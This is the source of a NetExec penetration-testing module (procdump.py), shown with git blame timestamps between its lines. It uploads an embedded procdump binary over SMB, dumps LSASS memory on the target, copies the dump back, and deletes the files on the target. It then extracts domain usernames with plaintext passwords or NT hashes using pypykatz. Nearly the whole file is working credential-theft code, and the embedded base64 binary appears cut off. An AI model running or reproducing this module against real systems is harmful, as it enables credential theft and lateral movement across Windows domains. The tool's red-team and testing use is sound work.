NetExec/nxc/modules/procdump.py

160 lines
855 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# prdocdump module for nxc python3
2021-09-21 11:36:08 +00:00
# author: github.com/mpgn
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
# v0.4
2021-11-14 12:15:42 +00:00
import base64
2023-05-07 22:51:01 +00:00
import re
import sys
2023-04-07 17:12:56 +00:00
2022-02-23 20:09:19 +00:00
from pypykatz.pypykatz import pypykatz
2021-09-21 11:36:08 +00:00
from nxc.helpers.bloodhound import add_user_bh
2023-05-07 22:51:01 +00:00
2023-04-07 17:12:56 +00:00
class NXCModule:
2023-05-02 15:17:59 +00:00
name = "procdump"
2021-09-21 11:36:08 +00:00
description = "Get lsass dump using procdump64 and parse the result with pypykatz"
2023-05-02 15:17:59 +00:00
supported_protocols = ["smb"]
opsec_safe = True # not really
2021-09-21 11:36:08 +00:00
multiple_hosts = True
def options(self, context, module_options):
"""
2023-05-02 15:17:59 +00:00
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
"""
2021-09-21 11:36:08 +00:00
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
2023-05-02 15:17:59 +00:00
self.procdump_embeded = base64.b64decode(
"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
2023-05-02 15:17:59 +00:00
)
2021-09-21 11:36:08 +00:00
self.procdump = "procdump.exe"
self.procdump_path = "/tmp/"
2021-11-14 12:15:42 +00:00
self.dir_result = self.procdump_path
self.useembeded = True
2021-09-21 11:36:08 +00:00
2023-05-02 15:17:59 +00:00
if "PROCDUMP_PATH" in module_options:
self.procdump_path = module_options["PROCDUMP_PATH"]
2021-11-14 12:15:42 +00:00
self.useembeded = False
2021-09-21 11:36:08 +00:00
2023-05-02 15:17:59 +00:00
if "PROCDUMP_EXE_NAME" in module_options:
self.procdump = module_options["PROCDUMP_EXE_NAME"]
2021-11-14 12:15:42 +00:00
self.useembeded = False
2021-09-21 11:36:08 +00:00
2023-05-02 15:17:59 +00:00
if "TMP_DIR" in module_options:
self.tmp_dir = module_options["TMP_DIR"]
2021-09-21 11:36:08 +00:00
2023-05-02 15:17:59 +00:00
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
2021-11-14 12:15:42 +00:00
2021-09-21 11:36:08 +00:00
def on_admin_login(self, context, connection):
2021-11-14 12:15:42 +00:00
if self.useembeded == True:
2023-05-02 15:17:59 +00:00
with open(self.procdump_path + self.procdump, "wb") as procdump:
2021-11-14 12:15:42 +00:00
procdump.write(self.procdump_embeded)
2023-05-02 15:17:59 +00:00
2023-05-08 18:39:36 +00:00
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
2023-05-02 15:17:59 +00:00
with open(self.procdump_path + self.procdump, "rb") as procdump:
2021-09-21 11:36:08 +00:00
try:
2023-05-08 18:39:36 +00:00
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
2021-09-21 11:36:08 +00:00
except Exception as e:
2023-05-07 22:51:01 +00:00
context.log.fail(f"Error writing file to share {self.share}: {e}")
2023-05-02 15:17:59 +00:00
2021-09-21 11:36:08 +00:00
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
2023-05-02 15:17:59 +00:00
context.log.display("Getting lsass PID {}".format(command))
2021-09-21 11:36:08 +00:00
p = connection.execute(command, True)
2023-05-02 15:17:59 +00:00
pid = p.split(",")[1][1:-1]
2023-05-08 18:39:36 +00:00
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
2023-05-02 15:17:59 +00:00
context.log.display("Executing command {}".format(command))
2021-09-21 11:36:08 +00:00
p = connection.execute(command, True)
context.log.debug(p)
dump = False
2023-05-02 15:17:59 +00:00
if "Dump 1 complete" in p:
context.log.success("Process lsass.exe was successfully dumped")
2021-09-21 11:36:08 +00:00
dump = True
else:
2023-05-02 15:17:59 +00:00
context.log.fail("Process lsass.exe error un dump, try with verbose")
2021-09-21 11:36:08 +00:00
if dump:
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
2023-05-02 15:17:59 +00:00
machine_name = ""
2021-09-21 11:36:08 +00:00
if matches:
machine_name = matches.group()
else:
context.log.display("Error getting the lsass.dmp file name")
2021-09-21 11:36:08 +00:00
sys.exit(1)
2023-05-02 15:17:59 +00:00
context.log.display("Copy {} to host".format(machine_name))
2021-09-21 11:36:08 +00:00
2023-05-02 15:17:59 +00:00
with open(self.dir_result + machine_name, "wb+") as dump_file:
2021-09-21 11:36:08 +00:00
try:
2023-05-08 18:39:36 +00:00
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
2021-09-21 11:36:08 +00:00
except Exception as e:
2023-05-02 15:17:59 +00:00
context.log.fail("Error while get file: {}".format(e))
2021-09-21 11:36:08 +00:00
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
2023-05-08 18:39:36 +00:00
context.log.success("Deleted procdump file on the {} share".format(self.share))
2021-09-21 11:36:08 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
2023-05-02 15:17:59 +00:00
2021-09-21 11:36:08 +00:00
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
2023-05-08 18:39:36 +00:00
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
2021-09-21 11:36:08 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
2023-05-02 15:17:59 +00:00
with open(self.dir_result + machine_name, "rb") as dump:
2022-02-23 20:09:19 +00:00
try:
credentials = []
2021-11-20 21:37:14 +00:00
credz_bh = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
2023-05-02 15:17:59 +00:00
context.log.fail(f"Error parsing minidump: {e}")
ssps = [
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
"tspkg_creds",
]
2022-02-23 20:09:19 +00:00
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
2023-05-08 18:39:36 +00:00
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
2022-02-23 20:09:19 +00:00
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
2023-05-08 18:39:36 +00:00
if username and (password or NThash) and "$" not in username:
2022-02-23 20:09:19 +00:00
print_pass = password if password else NThash
2023-05-08 18:39:36 +00:00
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
2022-02-23 20:09:19 +00:00
domain = connection.domain
2023-05-02 15:17:59 +00:00
credz_bh.append(
{
"username": username.upper(),
"domain": domain.upper(),
}
)
2022-02-23 20:09:19 +00:00
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
2023-05-02 15:17:59 +00:00
context.log.fail("Error openning dump file", str(e))